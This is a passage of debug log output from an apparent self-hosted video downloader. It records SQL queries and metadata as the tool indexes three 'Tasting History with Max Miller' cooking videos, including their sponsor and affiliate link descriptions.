m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:53:26.203 [debug] QUERY OK source="media_items" db=0.7ms idle=10.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [4967] 02:53:26.203 [debug] Current batch of media processed. Will check again in 1000ms 02:53:27.203 [debug] Current batch of media processed. Will check again in 1000ms 02:53:28.204 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Our Place is having their biggest sale of the year - use my link to shop their Titanium Pro Cookware Set at the lowest price I’ve ever seen: https://fromourplace.com/products/titanium-pro-cookware-set?utm_source=influencer&utm_medium=affiliate&utm_campaign=maxmiller&utm_term=december25&utm_content=youtube\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/turkishdelight\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nCulinary Grace Musk Flavoring - https://shop.perfumersapprentice.com/p-7470-musk-candy-flavor.aspx\nSherbet & Spice by Mary Isin - https://amzn.to/49YJomZ\nBountiful Empire - https://amzn.to/4a05bL2\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #turkishdelight", "duration" => 1379, "filename" => "/downloads/Tasting History with Max Miller/2025-12-09 What is Turkish Delight? How to make real Ottoman Turkish Delight#/What is Turkish Delight? How to make real Ottoman Turkish Delight. [MgswDy8PMAA].mp4", "id" => "MgswDy8PMAA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=MgswDy8PMAA", "playlist_index" => 18, "timestamp" => 1765296045, "title" => "What is Turkish Delight? How to make real Ottoman Turkish Delight.", "upload_date" => "20251209"} 02:53:28.205 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=677.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:53:28.205 [debug] QUERY OK source="sources" db=0.1ms idle=677.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:28.207 [debug] QUERY OK source="media_items" db=1.4ms idle=678.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-09 16:00:45Z], 3] 02:53:28.209 [debug] QUERY OK source="media_items" db=1.2ms idle=680.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Our Place is having their biggest sale of the year - use my link to shop their Titanium Pro Cookware Set at the lowest price I’ve ever seen: https://fromourplace.com/products/titanium-pro-cookware-set?utm_source=influencer&utm_medium=affiliate&utm_campaign=maxmiller&utm_term=december25&utm_content=youtube\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/turkishdelight\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nCulinary Grace Musk Flavoring - https://shop.perfumersapprentice.com/p-7470-musk-candy-flavor.aspx\nSherbet & Spice by Mary Isin - https://amzn.to/49YJomZ\nBountiful Empire - https://amzn.to/4a05bL2\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #turkishdelight", "What is Turkish Delight? How to make real Ottoman Turkish Delight.", "ecc2c57c-c5f2-4b2f-9b88-1e10ad5dde90", "MgswDy8PMAA", "https://www.youtube.com/watch?v=MgswDy8PMAA", false, 1379, false, 18, "/downloads/Tasting History with Max Miller/2025-12-09 What is Turkish Delight? How to make real Ottoman Turkish Delight#/What is Turkish Delight? How to make real Ottoman Turkish Delight. [MgswDy8PMAA].mp4", false, false, 3, [], 98, ~U[2025-12-09 16:00:45Z], ~U[2026-04-01 06:53:28Z], ~U[2026-04-01 06:53:28Z], "Our Place is having their biggest sale of the year - use my link to shop their Titanium Pro Cookware Set at the lowest price I’ve ever seen: https://fromourplace.com/products/titanium-pro-cookware-set?utm_source=influencer&utm_medium=affiliate&utm_campaign=maxmiller&utm_term=december25&utm_content=youtube\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/turkishdelight\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nCulinary Grace Musk Flavoring - https://shop.perfumersapprentice.com/p-7470-musk-candy-flavor.aspx\nSherbet & Spice by Mary Isin - https://amzn.to/49YJomZ\nBountiful Empire - https://amzn.to/4a05bL2\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #turkishdelight", "What is Turkish Delight? How to make real Ottoman Turkish Delight.", "MgswDy8PMAA", "https://www.youtube.com/watch?v=MgswDy8PMAA", 1379, false, "/downloads/Tasting History with Max Miller/2025-12-09 What is Turkish Delight? How to make real Ottoman Turkish Delight#/What is Turkish Delight? How to make real Ottoman Turkish Delight. [MgswDy8PMAA].mp4", false, 3, ~U[2025-12-09 16:00:45Z]] 02:53:28.209 [debug] QUERY OK source="sources" db=0.1ms idle=212.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:28.209 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:53:28.210 [debug] QUERY OK source="media_items" db=0.2ms idle=4.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [4489] 02:53:28.210 [debug] Current batch of media processed. Will check again in 1000ms 02:53:29.210 [debug] Current batch of media processed. Will check again in 1000ms 02:53:30.211 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Start speaking a new language in 3 weeks with Babbel 🎉. get Lifetime access for $199 during Babbelʼs Best Sale of the Year ➡ Here: https://bit.ly/TastingHistorywithMaxMillerDec\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/englishtoffee\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "duration" => 1123, "filename" => "/downloads/Tasting History with Max Miller/2025-12-05 Making Real English Toffee from 1881/Making Real English Toffee from 1881 [7Z8MvxYovpk].mp4", "id" => "7Z8MvxYovpk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=7Z8MvxYovpk", "playlist_index" => 19, "timestamp" => 1764950418, "title" => "Making Real English Toffee from 1881", "upload_date" => "20251205"} 02:53:30.212 [debug] QUERY OK source="sources" db=0.2ms idle=684.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:53:30.212 [debug] QUERY OK source="sources" db=0.1ms idle=684.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:30.214 [debug] QUERY OK source="media_items" db=1.3ms idle=685.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-05 16:00:18Z], 3] 02:53:30.215 [debug] QUERY OK source="media_items" db=1.1ms idle=686.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Start speaking a new language in 3 weeks with Babbel 🎉. get Lifetime access for $199 during Babbelʼs Best Sale of the Year ➡ Here: https://bit.ly/TastingHistorywithMaxMillerDec\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/englishtoffee\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Making Real English Toffee from 1881", "a6cbd3e5-4bb5-46ef-8dbb-9044a0e88b6c", "7Z8MvxYovpk", "https://www.youtube.com/watch?v=7Z8MvxYovpk", false, 1123, false, 19, "/downloads/Tasting History with Max Miller/2025-12-05 Making Real English Toffee from 1881/Making Real English Toffee from 1881 [7Z8MvxYovpk].mp4", false, false, 3, [], 98, ~U[2025-12-05 16:00:18Z], ~U[2026-04-01 06:53:30Z], ~U[2026-04-01 06:53:30Z], "Start speaking a new language in 3 weeks with Babbel 🎉. get Lifetime access for $199 during Babbelʼs Best Sale of the Year ➡ Here: https://bit.ly/TastingHistorywithMaxMillerDec\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/englishtoffee\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Making Real English Toffee from 1881", "7Z8MvxYovpk", "https://www.youtube.com/watch?v=7Z8MvxYovpk", 1123, false, "/downloads/Tasting History with Max Miller/2025-12-05 Making Real English Toffee from 1881/Making Real English Toffee from 1881 [7Z8MvxYovpk].mp4", false, 3, ~U[2025-12-05 16:00:18Z]] 02:53:30.216 [debug] QUERY OK source="sources" db=0.1ms idle=216.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:30.216 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:53:30.217 [debug] QUERY OK source="media_items" db=0.2ms idle=4.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [4213] 02:53:30.217 [debug] Current batch of media processed. Will check again in 1000ms 02:53:31.217 [debug] Current batch of media processed. Will check again in 1000ms 02:53:32.218 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Use code TASTINGHISTORYFB50 to get 50% OFF your first Factor box plus free breakfast for 1 year at https://bit.ly/45yZqRU!\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/revolutionarygingerbread\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nIMAGES\nMace - By AntanO - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=40270300\nSea Goat - By Marie-Lan Nguyen - Own work, Public Domain, https://commons.wikimedia.org/w/index.php?curid=279000\n\n#tastinghistory", "duration" => 1349, "filename" => "/downloads/Tasting History with Max Miller/2025-12-02 Gingerbread for Washington's Army/Gingerbread for Washington's Army [vuoThloIEhs].mp4", "id" => "vuoThloIEhs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=vuoThloIEhs", "playlist_index" => 20, "timestamp" => 1764691293, "title" => "Gingerbread for Washington's Army", "upload_date" => "20251202"} 02:53:32.219 [debug] QUERY OK source="sources" db=0.2ms idle=691.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:53:32.219 [debug] QUERY OK source="sources" db=0.1ms idle=692.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:32.222 [debug] QUERY OK source="media_items" db=2.3ms idle=692.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-02 16:01:33Z], 3] 02:53:32.223 [debug] QUERY OK source="media_items" db=1.0ms idle=695.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Use code TASTINGHISTORYFB50 to get 50% OFF your first Factor box plus free breakfast for 1 year at https://bit.ly/45yZqRU!\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/revolutionarygingerbread\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nIMAGES\nMace - By AntanO - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=40270300\nSea Goat - By Marie-Lan Nguyen - Own work, Public Domain, https://commons.wikimedia.org/w/index.php?curid=279000\n\n#tastinghistory", "Gingerbread for Washington's Army", "1b48f8cc-cb1a-41c4-baf5-f9e760a3a20c", "vuoThloIEhs", "https://www.youtube.com/watch?v=vuoThloIEhs", false, 1349, false, 20, "/downloads/Tasting History with Max Miller/2025-12-02 Gingerbread for Washington's Army/Gingerbread for Washington's Army [vuoThloIEhs].mp4", false, false, 3, [], 98, ~U[2025-12-02 16:01:33Z], ~U[2026-04-01 06:53:32Z], ~U[2026-04-01 06:53:32Z], "Use code TASTINGHISTORYFB50 to get 50% OFF your first Factor box plus free breakfast for 1 year at https://bit.ly/45yZqRU!\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/revolutionarygingerbread\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nIMAGES\nMace - By AntanO - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=40270300\nSea Goat - By Marie-Lan Nguyen - Own work, Public Domain, https://commons.wikimedia.org/w/index.php?curid=279000\n\n#tastinghistory", "Gingerbread for Washington's Army", "vuoThloIEhs", "https://www.youtube.com/watch?v=vuoThloIEhs", 1349, false, "/downloads/Tasting History with Max Miller/2025-12-02 Gingerbread for Washington's Army/Gingerbread for Washington's Army [vuoThloIEhs].mp4", false, 3, ~U[2025-12-02 16:01:33Z]] 02:53:32.224 [debug] QUERY OK source="sources" db=0.2ms idle=221.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:32.224 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:53:32.225 [debug] QUERY OK source="media_items" db=0.2ms idle=4.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN 